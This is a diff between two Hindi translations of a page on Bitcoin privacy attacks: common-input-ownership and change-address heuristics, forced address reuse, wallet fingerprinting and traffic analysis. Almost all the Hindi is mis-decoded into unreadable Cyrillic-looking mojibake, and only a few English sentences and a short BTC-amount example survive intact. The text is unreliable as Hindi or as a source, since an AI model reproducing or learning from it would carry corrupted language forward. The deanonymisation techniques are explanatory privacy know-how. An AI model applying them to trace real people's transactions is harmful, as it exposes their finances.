рдХрд╛ рд╕реНрд░реЛрдд), **outputs** (рдЧрдВрддрд╡реНрдп), **fees** (miners рдХреЛ рджрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ), рдФрд░ **scripts** (рд▓реЗрди-рджреЗрди рдХреЗ рдирд┐рдпрдо) рд╢рд╛рдорд┐рд▓ рд╣реЛрддреЗ рд╣реИрдВред -### рд▓рд╛рдЗрдЯрдирд┐рдВрдЧ рдиреЗрдЯрд╡рд░реНрдХ +### Lightning Network -рдмрд┐рдЯрдХреЙрдЗрди рдХреА рд╕реНрдХреЗрд▓реЗрдмрд┐рд▓рд┐рдЯреА рдХреЛ рдмрдврд╝рд╛рдиреЗ рдХрд╛ рд▓рдХреНрд╖реНрдп рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдПрдХ рдЪреИрдирд▓ рдХреЗ рднреАрддрд░ рдХрдИ рд▓реЗрдирджреЗрди рдХрд┐рдП рдЬрд╛ рд╕рдХреЗрдВ, рдХреЗрд╡рд▓ рдЕрдВрддрд┐рдо рд╕реНрдерд┐рддрд┐ рдХреЛ рдмреНрд▓реЙрдХрдЪреЗрди рдкрд░ рдкреНрд░рд╕рд╛рд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПред +рдпрд╣ рдЪреИрдирд▓ рдХреЗ рднреАрддрд░ рдХрдИ рд▓реЗрди-рджреЗрди рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдХрд░ Bitcoin рдХреА рд╕реНрдХреЗрд▓реЗрдмрд┐рд▓рд┐рдЯреА рдмрдврд╝рд╛рдиреЗ рдХрд╛ рд▓рдХреНрд╖реНрдп рд░рдЦрддрд╛ рд╣реИ, рдФрд░ рдХреЗрд╡рд▓ рдЕрдВрддрд┐рдо рд╕реНрдерд┐рддрд┐ рдХреЛ рд╣реА рдмреНрд▓реЙрдХрдЪреЗрди рдкрд░ рдкреНрд░рд╕рд╛рд░рд┐рдд рдХрд░рддрд╛ рд╣реИред -## рдмрд┐рдЯрдХреЙрдЗрди рдЧреЛрдкрдиреАрдпрддрд╛ рдЪрд┐рдВрддрд╛рдПрдБ +## Bitcoin рдЧреЛрдкрдиреАрдпрддрд╛ рдЪрд┐рдВрддрд╛рдПрдБ -рдЧреЛрдкрдиреАрдпрддрд╛ рд╣рдорд▓реЗ, рдЬреИрд╕реЗ **рдХреЙрдорди рдЗрдирдкреБрдЯ рдУрдирд░рд╢рд┐рдк** рдФрд░ **UTXO рдЪреЗрдВрдЬ рдПрдбреНрд░реЗрд╕ рдбрд┐рдЯреЗрдХреНрд╢рди**, рд▓реЗрдирджреЗрди рдХреЗ рдкреИрдЯрд░реНрди рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддреЗ рд╣реИрдВред **рдорд┐рдХреНрд╕рд░реНрд╕** рдФрд░ **рдХреЛрдЗрдирдЬреЙрдЗрди** рдЬреИрд╕реА рд░рдгрдиреАрддрд┐рдпрд╛рдБ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рдмреАрдЪ рд▓реЗрдирджреЗрди рдХреЗ рд▓рд┐рдВрдХ рдХреЛ рдЕрд╕реНрдкрд╖реНрдЯ рдХрд░рдХреЗ рдЧреБрдордирд╛рдореА рдореЗрдВ рд╕реБрдзрд╛рд░ рдХрд░рддреА рд╣реИрдВред +рдЧреЛрдкрдиреАрдпрддрд╛ рд╣рдорд▓реЗ, рдЬреИрд╕реЗ **Common Input Ownership** рдФрд░ **UTXO Change Address Detection**, рд▓реЗрди-рджреЗрди рдкреИрдЯрд░реНрди рдХрд╛ рд╢реЛрд╖рдг рдХрд░рддреЗ рд╣реИрдВред **Mixers** рдФрд░ **CoinJoin** рдЬреИрд╕реА рд░рдгрдиреАрддрд┐рдпрд╛рдБ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рдмреАрдЪ рд▓реЗрди-рджреЗрди рд▓рд┐рдВрдХ рдЫрд┐рдкрд╛рдХрд░ рдЕрдирд╛рдорд┐рддрд╛ рдмрдврд╝рд╛рддреА рд╣реИрдВред -## рдмрд┐рдЯрдХреЙрдЗрди рдХреЛ рдЧреБрдордирд╛рдо рд░реВрдк рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ +## Bitcoins рдХреЛ рдЕрдирд╛рдо рддрд░реАрдХреЗ рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ -рд╡рд┐рдзрд┐рдпреЛрдВ рдореЗрдВ рдирдХрдж рд╡реНрдпрд╛рдкрд╛рд░, рдЦрдирди, рдФрд░ рдорд┐рдХреНрд╕рд░реНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рд╢рд╛рдорд┐рд▓ рд╣реИред **рдХреЛрдЗрдирдЬреЙрдЗрди** рдХрдИ рд▓реЗрдирджреЗрди рдХреЛ рдорд┐рд▓рд╛рдХрд░ рдЯреНрд░реЗрд╕рдмрд┐рд▓рд┐рдЯреА рдХреЛ рдЬрдЯрд┐рд▓ рдмрдирд╛рддрд╛ рд╣реИ, рдЬрдмрдХрд┐ **рдкреЗ-рдЬреЙрдЗрди** рдХреЛрдЗрдирдЬреЙрдЗрди рдХреЛ рдирд┐рдпрдорд┐рдд рд▓реЗрдирджреЗрди рдХреЗ рд░реВрдк рдореЗрдВ рдЫрд┐рдкрд╛рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдЧреЛрдкрдиреАрдпрддрд╛ рдмрдврд╝ рд╕рдХреЗред +рд╡рд┐рдзрд┐рдпреЛрдВ рдореЗрдВ рдХреИрд╢ рдЯреНрд░реЗрдб, mining, рдФрд░ mixers рдХрд╛ рдЙрдкрдпреЛрдЧ рд╢рд╛рдорд┐рд▓ рд╣реИред **CoinJoin** рдХрдИ рд▓реЗрди-рджреЗрди рдорд┐рдХреНрд╕ рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдЯреНрд░реЗрд╕рдмрд┐рд▓рд┐рдЯреА рдЬрдЯрд┐рд▓ рд╣реЛ рдЬрд╛рдП, рдЬрдмрдХрд┐ **PayJoin** CoinJoins рдХреЛ рдирд┐рдпрдорд┐рдд рд▓реЗрди-рджреЗрди рдХреЗ рд░реВрдк рдореЗрдВ рдЫрд┐рдкрд╛рдХрд░ рдЧреЛрдкрдиреАрдпрддрд╛ рдмрдврд╝рд╛рддрд╛ рд╣реИред -# рдмрд┐рдЯрдХреЙрдЗрди рдЧреЛрдкрдиреАрдпрддрд╛ рд╣рдорд▓реЗ +# Bitcoin рдЧреЛрдкрдиреАрдпрддрд╛ рд╣рдорд▓реЗ -# рдмрд┐рдЯрдХреЙрдЗрди рдЧреЛрдкрдиреАрдпрддрд╛ рд╣рдорд▓реЛрдВ рдХрд╛ рд╕рд╛рд░рд╛рдВрд╢ +# Bitcoin рдЧреЛрдкрдиреАрдпрддрд╛ рд╣рдорд▓реЛрдВ рдХрд╛ рд╕рд╛рд░рд╛рдВрд╢ -рдмрд┐рдЯрдХреЙрдЗрди рдХреА рджреБрдирд┐рдпрд╛ рдореЗрдВ, рд▓реЗрдирджреЗрди рдХреА рдЧреЛрдкрдиреАрдпрддрд╛ рдФрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреА рдЧреБрдордирд╛рдореА рдЕрдХреНрд╕рд░ рдЪрд┐рдВрддрд╛ рдХрд╛ рд╡рд┐рд╖рдп рд╣реЛрддреА рд╣реИред рдпрд╣рд╛рдБ рдХреБрдЫ рд╕рд╛рдорд╛рдиреНрдп рддрд░реАрдХреЛрдВ рдХрд╛ рд╕рд░рд▓ рдЕрд╡рд▓реЛрдХрди рд╣реИ рдЬрд┐рдирдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╣рдорд▓рд╛рд╡рд░ рдмрд┐рдЯрдХреЙрдЗрди рдХреА рдЧреЛрдкрдиреАрдпрддрд╛ рдХреЛ рдЦрддрд░реЗ рдореЗрдВ рдбрд╛рд▓ рд╕рдХрддреЗ рд╣реИрдВред +Bitcoin рдХреА рджреБрдирд┐рдпрд╛ рдореЗрдВ, рд▓реЗрди-рджреЗрди рдХреА рдЧреЛрдкрдиреАрдпрддрд╛ рдФрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреА рдЕрдирд╛рдорд┐рддрд╛ рдЕрдХреНрд╕рд░ рдЪрд┐рдВрддрд╛ рдХрд╛ рд╡рд┐рд╖рдп рд╣реЛрддреА рд╣реИред рдпрд╣рд╛рдБ рдХреБрдЫ рд╕рд╛рдорд╛рдиреНрдп рддрд░реАрдХреЛрдВ рдХрд╛ рд╕рдВрдХреНрд╖рд┐рдкреНрдд рдкрд░рд┐рдЪрдп рд╣реИ рдЬрд┐рдирдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╣рдорд▓рд╛рд╡рд░ Bitcoin рдХреА рдЧреЛрдкрдиреАрдпрддрд╛ рдХреЛ рдиреБрдХрд╕рд╛рди рдкрд╣реБрдБрдЪрд╛ рд╕рдХрддреЗ рд╣реИрдВред -## **рдХреЙрдорди рдЗрдирдкреБрдЯ рдУрдирд░рд╢рд┐рдк рдЕрдиреБрдорд╛рди** +## **Common Input Ownership Assumption** -рдпрд╣ рд╕рд╛рдорд╛рдиреНрдпрддрдГ рджреБрд░реНрд▓рдн рд╣реИ рдХрд┐ рд╡рд┐рднрд┐рдиреНрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рдЗрдирдкреБрдЯ рдХреЛ рдПрдХ рд╣реА рд▓реЗрдирджреЗрди рдореЗрдВ рдЬреЛрдбрд╝рд╛ рдЬрд╛рдП рдХреНрдпреЛрдВрдХрд┐ рдЗрд╕рдореЗрдВ рдЬрдЯрд┐рд▓рддрд╛ рд╣реЛрддреА рд╣реИред рдЗрд╕рд▓рд┐рдП, **рдПрдХ рд╣реА рд▓реЗрдирджреЗрди рдореЗрдВ рджреЛ рдЗрдирдкреБрдЯ рдкрддреЗ рдЕрдХреНрд╕рд░ рдПрдХ рд╣реА рдорд╛рд▓рд┐рдХ рдХреЗ рд╣реЛрдиреЗ рдХрд╛ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ**ред +рд╡рд┐рднрд┐рдиреНрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ inputs рдХреЛ рдПрдХ рд╣реА рд▓реЗрди-рджреЗрди рдореЗрдВ рдорд┐рд▓рд╛рдирд╛ рдЖрдорддреМрд░ рдкрд░ рдЬрдЯрд┐рд▓рддрд╛ рдХреЗ рдХрд╛рд░рдг рджреБрд░реНрд▓рдн рд╣реЛрддрд╛ рд╣реИред рдЗрд╕рд▓рд┐рдП, рдПрдХ рд╣реА рд▓реЗрди-рджреЗрди рдореЗрдВ рдореМрдЬреВрдж **рджреЛ input addresses рдЕрдХреНрд╕рд░ рдПрдХ рд╣реА рдорд╛рд▓рд┐рдХ рдХреЗ рд╣реЛрдиреЗ рдХрд╛ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ**ред -## **UTXO рдЪреЗрдВрдЬ рдПрдбреНрд░реЗрд╕ рдбрд┐рдЯреЗрдХреНрд╢рди** +## **UTXO Change Address Detection** -рдПрдХ UTXO, рдпрд╛ **рдЕрдирд╕реНрдкреЗрдВрдЯ рдЯреНрд░рд╛рдВрдЬреИрдХреНрд╢рди рдЖрдЙрдЯрдкреБрдЯ**, рдХреЛ рдПрдХ рд▓реЗрдирджреЗрди рдореЗрдВ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдЦрд░реНрдЪ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред рдпрджрд┐ рдЗрд╕рдХрд╛ рдХреЗрд╡рд▓ рдПрдХ рднрд╛рдЧ рдХрд┐рд╕реА рдЕрдиреНрдп рдкрддреЗ рдкрд░ рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рд╢реЗрд╖ рдПрдХ рдирдП рдЪреЗрдВрдЬ рдкрддреЗ рдкрд░ рдЬрд╛рддрд╛ рд╣реИред рдкрд░реНрдпрд╡реЗрдХреНрд╖рдХ рдпрд╣ рдорд╛рди рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдпрд╣ рдирдпрд╛ рдкрддрд╛ рднреЗрдЬрдиреЗ рд╡рд╛рд▓реЗ рдХрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдЧреЛрдкрдиреАрдпрддрд╛ рдХрд╛ рдЙрд▓реНрд▓рдВрдШрди рд╣реЛрддрд╛ рд╣реИред +рдПрдХ UTXO, рдпрд╛ **Unspent Transaction Output**, рдХреЛ рд▓реЗрди-рджреЗрди рдореЗрдВ рдкреВрд░реА рддрд░рд╣ рдЦрд░реНрдЪ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред рдпрджрд┐ рдХреЗрд╡рд▓ рдЗрд╕рдХрд╛ рдПрдХ рд╣рд┐рд╕реНрд╕рд╛ рдХрд┐рд╕реА рдЕрдиреНрдп рдкрддреЗ рдкрд░ рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рд╢реЗрд╖ рдирдпрд╛ change address рдореЗрдВ рдЬрд╛рддрд╛ рд╣реИред рдкрд░реНрдпрд╡реЗрдХреНрд╖рдХ рдпрд╣ рдорд╛рди рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдпрд╣ рдирдпрд╛ рдкрддрд╛ sender рдХрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдЧреЛрдкрдиреАрдпрддрд╛ рдкреНрд░рднрд╛рд╡рд┐рдд рд╣реЛрддреА рд╣реИред ### рдЙрджрд╛рд╣рд░рдг -рдЗрд╕рд╕реЗ рдмрдЪрдиреЗ рдХреЗ рд▓рд┐рдП, рдорд┐рдХреНрд╕рд┐рдВрдЧ рд╕реЗрд╡рд╛рдПрдБ рдпрд╛ рдХрдИ рдкрддреЗ рдХрд╛ рдЙрдкрдпреЛрдЧ рд╕реНрд╡рд╛рдорд┐рддреНрд╡ рдХреЛ рдЕрд╕реНрдкрд╖реНрдЯ рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +рдЗрд╕реЗ рдХрдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, mixing services рдпрд╛ рдХрдИ рдкрддреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╕реЗ рд╕реНрд╡рд╛рдорд┐рддреНрд╡ рдЫрд┐рдкрд╛рдиреЗ рдореЗрдВ рдорджрдж рдорд┐рд▓ рд╕рдХрддреА рд╣реИред -## **рд╕реЛрд╢рд▓ рдиреЗрдЯрд╡рд░реНрдХ рдФрд░ рдлреЛрд░рдо рдХрд╛ рдкреНрд░рджрд░реНрд╢рди** +## **Social Networks & Forums Exposure** -рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрднреА-рдХрднреА рдЕрдкрдиреЗ рдмрд┐рдЯрдХреЙрдЗрди рдкрддреЗ рдХреЛ рдСрдирд▓рд╛рдЗрди рд╕рд╛рдЭрд╛ рдХрд░рддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ **рдкрддреЗ рдХреЛ рдЙрд╕рдХреЗ рдорд╛рд▓рд┐рдХ рд╕реЗ рдЬреЛрдбрд╝рдирд╛ рдЖрд╕рд╛рди рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ**ред +рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрднреА-рдХрднреА рдЕрдкрдиреЗ Bitcoin addresses рдСрдирд▓рд╛рдЗрди рд╕рд╛рдЭрд╛ рдХрд░рддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рдпрд╣ **рдЖрд╕рд╛рди рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ рдкрддреЗ рдХреЛ рдЙрд╕рдХреЗ рдорд╛рд▓рд┐рдХ рд╕реЗ рдЬреЛрдбрд╝рд╛ рдЬрд╛рдП**ред -## **рд▓реЗрдирджреЗрди рдЧреНрд░рд╛рдл рд╡рд┐рд╢реНрд▓реЗрд╖рдг** +## **Transaction Graph Analysis** -рд▓реЗрдирджреЗрди рдХреЛ рдЧреНрд░рд╛рдл рдХреЗ рд░реВрдк рдореЗрдВ рджреГрд╢реНрдп рд░реВрдк рдореЗрдВ рдкреНрд░рд╕реНрддреБрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рдмреАрдЪ рд╕рдВрднрд╛рд╡рд┐рдд рд╕рдВрдмрдВрдзреЛрдВ рдХреЛ рдзрди рдХреЗ рдкреНрд░рд╡рд╛рд╣ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдкреНрд░рдХрдЯ рдХрд░рддрд╛ рд╣реИред +рд▓реЗрди-рджреЗрди рдХреЛ рдЧреНрд░рд╛рдл рдХреЗ рд░реВрдк рдореЗрдВ рд╡рд┐рдЬрд╝реБрдЕрд▓рд╛рдЗрдЬрд╝ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ рдлрдВрдб рдХреЗ рдкреНрд░рд╡рд╛рд╣ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рдмреАрдЪ рд╕рдВрднрд╛рд╡рд┐рдд рд╕рдВрдмрдВрдз рдкреНрд░рдХрдЯ рдХрд░рддреЗ рд╣реИрдВред -## **рдЕрдирд╛рд╡рд╢реНрдпрдХ рдЗрдирдкреБрдЯ рд╣реНрдпреВрд░рд┐рд╕реНрдЯрд┐рдХ (рдСрдкреНрдЯрд┐рдорд▓ рдЪреЗрдВрдЬ рд╣реНрдпреВрд░рд┐рд╕реНрдЯрд┐рдХ)** +## **Unnecessary Input Heuristic (Optimal Change Heuristic)** -рдпрд╣ рд╣реНрдпреВрд░рд┐рд╕реНрдЯрд┐рдХ рдХрдИ рдЗрдирдкреБрдЯ рдФрд░ рдЖрдЙрдЯрдкреБрдЯ рд╡рд╛рд▓реЗ рд▓реЗрдирджреЗрди рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдХреЗ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛рдиреЗ рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реИ рдХрд┐ рдХреМрди рд╕рд╛ рдЖрдЙрдЯрдкреБрдЯ рднреЗрдЬрдиреЗ рд╡рд╛рд▓реЗ рдХреЛ рд╡рд╛рдкрд╕ рд▓реМрдЯрдиреЗ рд╡рд╛рд▓рд╛ рдкрд░рд┐рд╡рд░реНрддрди рд╣реИред +рдпрд╣ heuristic рдХрдИ inputs рдФрд░ outputs рд╡рд╛рд▓реЗ рд▓реЗрди-рджреЗрди рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдХреЗ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛рдиреЗ рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реИ рдХрд┐ рдХреМрди рд╕рд╛ output sender рдХреЛ рд▓реМрдЯрдиреЗ рд╡рд╛рд▓рд╛ change рд╣реИред ### рдЙрджрд╛рд╣рд░рдг ```bash 2 btc --> 4 btc 3 btc 1 btc ``` -рдпрджрд┐ рдЕрдзрд┐рдХ рдЗрдирдкреБрдЯ рдЬреЛрдбрд╝рдиреЗ рд╕реЗ рдкрд░рд┐рд╡рд░реНрддрди рдЖрдЙрдЯрдкреБрдЯ рдХрд┐рд╕реА рдПрдХрд▓ рдЗрдирдкреБрдЯ рд╕реЗ рдмрдбрд╝рд╛ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдпрд╣ рд╣реНрдпреВрд░рд┐рд╕реНрдЯрд┐рдХ рдХреЛ рднреНрд░рдорд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред +If adding more inputs makes the change output larger than any single input, it can confuse the heuristic. -## **рдлреЛрд░реНрд╕реНрдб рдПрдбреНрд░реЗрд╕ рд░реАрдпреВрдЬрд╝** +## **Forced Address Reuse** -рд╣рдорд▓рд╛рд╡рд░ рдкрд╣рд▓реЗ рд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЧрдП рдкрддреЗ рдкрд░ рдЫреЛрдЯреЗ-рдЫреЛрдЯреЗ рдЕрдорд╛рдЙрдВрдЯ рднреЗрдЬ рд╕рдХрддреЗ рд╣реИрдВ, рдпрд╣ рдЙрдореНрдореАрдж рдХрд░рддреЗ рд╣реБрдП рдХрд┐ рдкреНрд░рд╛рдкреНрддрдХрд░реНрддрд╛ рднрд╡рд┐рд╖реНрдп рдХреЗ рд▓реЗрдирджреЗрди рдореЗрдВ рдЗрдиреНрд╣реЗрдВ рдЕрдиреНрдп рдЗрдирдкреБрдЯ рдХреЗ рд╕рд╛рде рдорд┐рд▓рд╛рдПрдЧрд╛, рдЬрд┐рд╕рд╕реЗ рдкрддреЗ рдЖрдкрд╕ рдореЗрдВ рдЬреБрдбрд╝реЗ рд░рд╣реЗрдВрдЧреЗред +Attackers may send small amounts to previously used addresses, hoping the recipient combines these with other inputs in future transactions, thereby linking addresses together. ### рд╕рд╣реА рд╡реЙрд▓реЗрдЯ рд╡реНрдпрд╡рд╣рд╛рд░ -рд╡реЙрд▓реЗрдЯ рдХреЛ рдкрд╣рд▓реЗ рд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЧрдП, рдЦрд╛рд▓реА рдкрддреЗ рдкрд░ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдП рдЧрдП рд╕рд┐рдХреНрдХреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╕реЗ рдмрдЪрдирд╛ рдЪрд╛рд╣рд┐рдП рддрд╛рдХрд┐ рдЗрд╕ рдЧреЛрдкрдиреАрдпрддрд╛ рд▓реАрдХ рдХреЛ рд░реЛрдХрд╛ рдЬрд╛ рд╕рдХреЗред +рд╡реЙрд▓реЗрдЯреНрд╕ рдХреЛ рдЗрд╕ privacy leak рдХреЛ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП рдкрд╣рд▓реЗ рд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛ рдЪреБрдХреЗ, рдЦрд╛рд▓реА рдкрддреЛрдВ рдкрд░ рдкреНрд░рд╛рдкреНрдд рд╕рд┐рдХреНрдХреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╕реЗ рдмрдЪрдирд╛ рдЪрд╛рд╣рд┐рдПред -## **рдЕрдиреНрдп рдмреНрд▓реЙрдХрдЪреЗрди рд╡рд┐рд╢реНрд▓реЗрд╖рдг рддрдХрдиреАрдХреЗрдВ** +## **Other Blockchain Analysis Techniques** -- **рд╕рдЯреАрдХ рднреБрдЧрддрд╛рди рд░рд╛рд╢рд┐:** рдмрд┐рдирд╛ рдкрд░рд┐рд╡рд░реНрддрди рдХреЗ рд▓реЗрдирджреЗрди рд╕рдВрднрд╡рддрдГ рдПрдХ рд╣реА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рджреЛ рдкрддреЗ рдХреЗ рдмреАрдЪ рд╣реЛрддреЗ рд╣реИрдВред -- **рдЧреЛрд▓ рдирдВрдмрд░:** рд▓реЗрдирджреЗрди рдореЗрдВ рдЧреЛрд▓ рд╕рдВрдЦреНрдпрд╛ рдпрд╣ рд╕реБрдЭрд╛рд╡ рджреЗрддреА рд╣реИ рдХрд┐ рдпрд╣ рдПрдХ рднреБрдЧрддрд╛рди рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдЧреИрд░-рдЧреЛрд▓ рдЖрдЙрдЯрдкреБрдЯ рд╕рдВрднрд╡рддрдГ рдкрд░рд┐рд╡рд░реНрддрди рд╣реИред -- **рд╡реЙрд▓реЗрдЯ рдлрд┐рдВрдЧрд░рдкреНрд░рд┐рдВрдЯрд┐рдВрдЧ:** рд╡рд┐рднрд┐рдиреНрди рд╡реЙрд▓реЗрдЯ рдХреЗ рдкрд╛рд╕ рд▓реЗрдирджреЗрди рдирд┐рд░реНрдорд╛рдг рдХреЗ рдЕрджреНрд╡рд┐рддреАрдп рдкреИрдЯрд░реНрди рд╣реЛрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рд╡рд┐рд╢реНрд▓реЗрд╖рдХреЛрдВ рдХреЛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЧрдП рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдФрд░ рд╕рдВрднрд╛рд╡рд┐рдд рдкрд░рд┐рд╡рд░реНрддрди рдкрддреЗ рдХреА рдкрд╣рдЪрд╛рди рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИред -- **рд░рд╛рд╢рд┐ рдФрд░ рд╕рдордп рд╕рдВрдмрдВрдз:** рд▓реЗрдирджреЗрди рдХреЗ рд╕рдордп рдпрд╛ рд░рд╛рд╢рд┐рдпреЛрдВ рдХрд╛ рдЦреБрд▓рд╛рд╕рд╛ рд▓реЗрдирджреЗрди рдХреЛ рдЯреНрд░реЗрд╕ рдХрд░рдиреЗ рдпреЛрдЧреНрдп рдмрдирд╛ рд╕рдХрддрд╛ рд╣реИред +- **Exact Payment Amounts:** рдЪреЗрдВрдЬ рдХреЗ рдмрд┐рдирд╛ рд▓реЗрдирджреЗрди рд╕рдВрднрд╡рддрдГ рдПрдХ рд╣реА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд╕реНрд╡рд╛рдорд┐рддреНрд╡ рд╡рд╛рд▓реЗ рджреЛ рдкрддреЛрдВ рдХреЗ рдмреАрдЪ рд╣реЛрддреЗ рд╣реИрдВред +- **Round Numbers:** рдХрд┐рд╕реА рд▓реЗрдирджреЗрди рдореЗрдВ рдЧреЛрд▓ рд╕рдВрдЦреНрдпрд╛ рд╣реЛрдиреЗ рдкрд░ рдпрд╣ рднреБрдЧрддрд╛рди рд╕рдВрдХреЗрдд рджреЗрддрд╛ рд╣реИ, рдФрд░ рдЧреИрд░-рдЧреЛрд▓ рдЖрдЙрдЯрдкреБрдЯ рд╕рдВрднрд╡рддрдГ рдЪреЗрдВрдЬ рд╣реЛрддрд╛ рд╣реИред +- **Wallet Fingerprinting:** рд╡рд┐рднрд┐рдиреНрди рд╡реЙрд▓реЗрдЯреНрд╕ рдХреЗ рд▓реЗрдирджреЗрди рдмрдирд╛рдиреЗ рдХреЗ рдЕрджреНрд╡рд┐рддреАрдп рдкреИрдЯрд░реНрди рд╣реЛрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рд╡рд┐рд╢реНрд▓реЗрд╖рдХ рдкреНрд░рдпреБрдХреНрдд рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдФрд░ рд╕рдВрднрд╛рд╡рд┐рдд рдЪреЗрдВрдЬ рдкрддрд╛ рдкрд╣рдЪрд╛рди рд╕рдХрддреЗ рд╣реИрдВред +- **Amount & Timing Correlations:** рд▓реЗрдирджреЗрди рдХреЗ рд╕рдордп рдпрд╛ рд░рд╛рд╢рд┐рдпреЛрдВ рдХрд╛ рдЦреБрд▓рд╛рд╕рд╛ рд▓реЗрдирджреЗрди рдХреЛ рдЯреНрд░реЗрд╕ рдХрд░рдиреЗ рдпреЛрдЧреНрдп рдмрдирд╛ рд╕рдХрддрд╛ рд╣реИред -## **рдЯреНрд░реИрдлрд┐рдХ рд╡рд┐рд╢реНрд▓реЗрд╖рдг** +## **Traffic Analysis** -рдиреЗрдЯрд╡рд░реНрдХ рдЯреНрд░реИрдлрд┐рдХ рдХреА рдирд┐рдЧрд░рд╛рдиреА рдХрд░рдХреЗ, рд╣рдорд▓рд╛рд╡рд░ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рд▓реЗрдирджреЗрди рдпрд╛ рдмреНрд▓реЙрдХреЛрдВ рдХреЛ рдЖрдИрдкреА рдкрддреЗ рд╕реЗ рдЬреЛрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рдЧреЛрдкрдиреАрдпрддрд╛ рдХрд╛ рдЙрд▓реНрд▓рдВрдШрди рд╣реЛрддрд╛ рд╣реИред рдпрд╣ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рд╕рдЪ рд╣реИ рдпрджрд┐ рдХреЛрдИ рдЗрдХрд╛рдИ рдХрдИ рдмрд┐рдЯрдХреЙрдЗрди рдиреЛрдбреНрд╕ рд╕рдВрдЪрд╛рд▓рд┐рдд рдХрд░рддреА рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдЙрдирдХреЗ рд▓реЗрдирджреЗрди рдХреА рдирд┐рдЧрд░рд╛рдиреА рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рдмрдврд╝ рдЬрд╛рддреА рд╣реИред 